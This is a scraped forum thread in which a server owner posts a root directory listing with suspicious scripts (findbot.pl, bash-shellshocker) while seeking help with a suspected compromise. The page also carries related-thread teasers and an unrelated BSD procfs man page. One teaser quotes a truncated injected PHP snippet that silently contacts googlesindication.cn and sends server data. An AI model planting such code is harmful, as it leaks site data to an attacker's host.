Sponsored Content
Full Discussion: Malicious perl script
Operating Systems Linux Debian Malicious perl script Post 302992363 by dadprpus on Friday 24th of February 2017 07:31:02 AM
Old 02-24-2017
Quote:
Originally Posted by drysdalk
Can I just check - it looks from what you've said that you're trying to type 1s (that's a number one followed by a lower-case letter 'S') rather than ls (that's a lower-case letter 'L' followed by a lower-case letter 'S', which is the correct command).

If that's what you've been doing, could you try again with the correct command name and see what happens please ?

If you have been typing it correctly then your system must be quite badly damaged or missing some very fundamental binaries, since the ls command is pretty much as common as it gets on any UNIX-style system.
You are right. I was doing it wrong. It did look like a 1 to me...so this is what I got:
Code:
[root@dedicated ~]# ls -l /proc/4600
ls: cannot access /proc/4600: No such file or directory
[root@dedicated ~]# ls -l/proc/4600/fd
ls: invalid option -- '/'
Try `ls --help' for more information.
[root@dedicated ~]# ls -l /proc/4600/fd
ls: cannot access /proc/4600/fd: No such file or directory
[root@dedicated ~]# ls -a
.                  echo                                      .odbc.ini
..                 findbot.pl                                parallels
1                  ghosttest                                 .pki
anaconda-ks.cfg    ghosttest.c                               plk
.autoinstaller     id_rsa.pub                                psasem.sem
.bash_history      install_keys.sh                           .rnd
.bash_logout       install.log                               run.pl
.bash_profile      install.log.syslog                        .spamassassin
.bashrc            .lesshst                                  .ssh
bash-shellshocker  mysql-community-release-el6-5.noarch.rpm  strace.log
.cshrc             .mysql_history                            .tcshrc

Tech support got back to me last night said it was a brute force attack (?) and that my install of "ban to fail" stopped it. But to me it looks as if it was run from "inside my computer". It slowed the server down to a crawl. also legitimate emails have stopped being able to send to comcast, Verizon, yahoo,etc. Have contacted them but they say we are not on their black list. Just can't figure this out. I have a minimal tech support package so they say "You have this....and you need to do this....good luck....Oh and by the way you can upgrade for $$$".

Last edited by dadprpus; 02-24-2017 at 08:39 AM..
 

7 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

remove malicious codes from a file

Hello, Please advise a script/command to remove the following line for a file <?php error_reporting(0); $fn = "googlesindication.cn"; $fp = fsockopen($fn, 80, $errno, $errstr, 15); if (!$fp) { } else { $query='site='.$_SERVER; $out = "GET /links.php?".$query." HTTP/1.1\r\n"; ... (5 Replies)
Discussion started by: fed.linuxgossip
5 Replies

2. Shell Programming and Scripting

Anti-malicious files and viruses

Hello I ask you how to make a Anti-malicious files and viruses Or if one of you a small example of the work on the same place and I hope my request I want a small patch or the process of examination Virus http://www.google.jo/images/cleardot.gif ---------- Post updated... (1 Reply)
Discussion started by: x-zer0
1 Replies

3. Cybersecurity

How to analyze malicious code

A series on The H about analyzing potentially malicious code flying around on the net. Pretty well written, and a nice read for those interested in how exploits work: CSI:Internet - Alarm at the pizza service CSI:Internet - The image of death CSI:Internet - PDF timebomb CSI:Internet -... (0 Replies)
Discussion started by: pludi
0 Replies

4. Shell Programming and Scripting

calling a perl script with arguments from a parent perl script

I am trying to run a perl script which needs input arguments from a parent perl script, but doesn't seem to work. Appreciate your help in this regard. From parent.pl $input1=123; $input2=abc; I tried calling it with system("/usr/bin/perl child.pl $input1 $input2"); and `perl... (1 Reply)
Discussion started by: grajp002
1 Replies

5. Shell Programming and Scripting

Perl : embedding java script with cgi perl script

Hi All, I am aware that html tags can be embedded in cgi script as below.. In the same way is it possible to embed the below javascript in perl cgi script ?? print("<form action="action.htm" method="post" onSubmit="return submitForm(this.Submitbutton)">"); print("<input type = "text"... (1 Reply)
Discussion started by: scriptscript
1 Replies

6. Shell Programming and Scripting

Malicious pl script, what does it do

Hello, i found and malicious looking script on my server, here is its code safelly pasted as a text on pastebin: Posting links to pastebin scripts are forbidden at this site. Please what does this script do? It has .pl extension and is on shared cpanel hosting account (1 Reply)
Discussion started by: postcd
1 Replies

7. Programming

PERL: In a perl-scripttTrying to execute another perl-script that SETS SOME VARIABLES !

I have reviewed many examples on-line about running another process (either PERL or shell command or a program), but do not find any usefull for my needs way. (Reviewed and not useful the system(), 'back ticks', exec() and open()) I would like to run another PERL-script from first one, not... (1 Reply)
Discussion started by: alex_5161
1 Replies
MOUNT_PROCFS(8) 					    BSD System Manager's Manual 					   MOUNT_PROCFS(8)

NAME
mount_procfs -- mount the process file system SYNOPSIS
mount_procfs [-o options] /proc mount_point DESCRIPTION
The mount_procfs command attaches an instance of the process namespace to the global filesystem namespace. The conventional mount point is /proc. The directory specified by mount_point is converted to an absolute path before use. This command is normally executed by mount(8) at boot time. The options are as follows: -o nolinux Do not support nodes which are not part of the original procfs implementation but have been added for compatibility with the Linux procfs namespace. See FILES for more information. The root of the process filesystem contains an entry for each active process. These processes are visible as a directory whose name is the process' pid. In addition, the special entries curproc and self reference the current process. The self symlink appears for compatibility with the Linux procfs implementation. Each directory contains several files. cmdline This file is readonly and returns null-terminated strings corresponding to the process' command line arguments. For a system or zom- bie process, this file contains only a string with the name of the process. ctl a writeonly file which supports a variety of control operations. Control commands are written as strings to the ctl file. The con- trol commands are: attach stops the target process and arranges for the sending process to become the debug control process. detach continue execution of the target process and remove it from control by the debug process. run continue running the target process until a signal is delivered, a breakpoint is hit, or the target process exits. step single step the target process, with no signal delivery. wait wait for the target process to stop. The target process must be stopped before any of the run, step, or signal commands are allowed. The string can also be the name of a signal, lower case and without the SIG prefix, in which case that signal is delivered to the process (see sigaction(2)). cwd A symbolic link that points to the current working directory of the process. If the target process's current working directory is not available or is not at or below the current process's root directory, this link will point to ``/''. fd/# File descriptors which can be accessed through the file system. See fd(4) for more information. file A reference to the vnode from which the process text was read. This can be used to gain access to the process' symbol table, or to start another copy of the process. map A map of the process' virtual memory. maps A map of the process' virtual memory in a form like the proc filesystem as implemented in Linux. Note that the paths corresponding to file backed mappings will not be present unless the kernel was built with the NAMECACHE_ENTER_REVERSE option. mem The complete virtual memory image of the process. Only those addresses which exist in the process can be accessed. Writes to this file modify the process. Writes to the text segment normally remain private to the process, since the text segment is mapped with MAP_PRIVATE; however, this is not guaranteed. note Not implemented. notepg Not implemented. regs Allows read and write access to the process' register set. This file contains a binary data structure struct regs defined in <machine/reg.h>. regs can only be written when the process is stopped. fpregs The floating point registers as defined by struct fpregs in <machine/reg.h>. fpregs is only implemented on machines which have dis- tinct general purpose and floating point register sets. root A symbolic link that points to the root directory of the process. If the target process's root directory is not available or is not at or below the current process's root directory, this link will point to ``/''. status The process status. This file is readonly and returns a single line containing multiple space-separated fields as follows: o command name o process id o parent process id o process group id o session id o major,minor of the controlling terminal, or -1,-1 if there is no controlling terminal. o a list of process flags: ctty if there is a controlling terminal, sldr if the process is a session leader, noflags if neither of the other two flags are set. o the process start time in seconds and microseconds, comma separated. o the user time in seconds and microseconds, comma separated. o the system time in seconds and microseconds, comma separated. o the wait channel message o the process credentials consisting of the effective user id and the list of groups (whose first member is the effective group id) all comma separated. In a normal debugging environment, where the target is fork/exec'd by the debugger, the debugger should fork and the child should stop itself (with a self-inflicted SIGSTOP for example). The parent should issue a wait and then an attach command via the appropriate ctl file. The child process will receive a SIGTRAP immediately after the call to exec (see execve(2)). FILES
/proc/# /proc/#/cmdline /proc/#/ctl /proc/#/cwd /proc/#/exe /proc/#/file /proc/#/fpregs /proc/#/map /proc/#/maps /proc/#/mem /proc/#/note /proc/#/notepg /proc/#/regs /proc/#/root /proc/#/status /proc/curproc /proc/self If the linux mount option is used, the following files are also available: /proc/#/stat /proc/cpuinfo /proc/devices /proc/meminfo /proc/mounts /proc/uptime SEE ALSO
mount(2), sigaction(2), unmount(2) HISTORY
The mount_procfs utility first appeared in 4.4BSD. BUGS
This filesystem may not be NFS-exported since most of the functionality of procfs requires that state be maintained. BSD
February 24, 2009 BSD
All times are GMT -4. The time now is 10:17 PM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy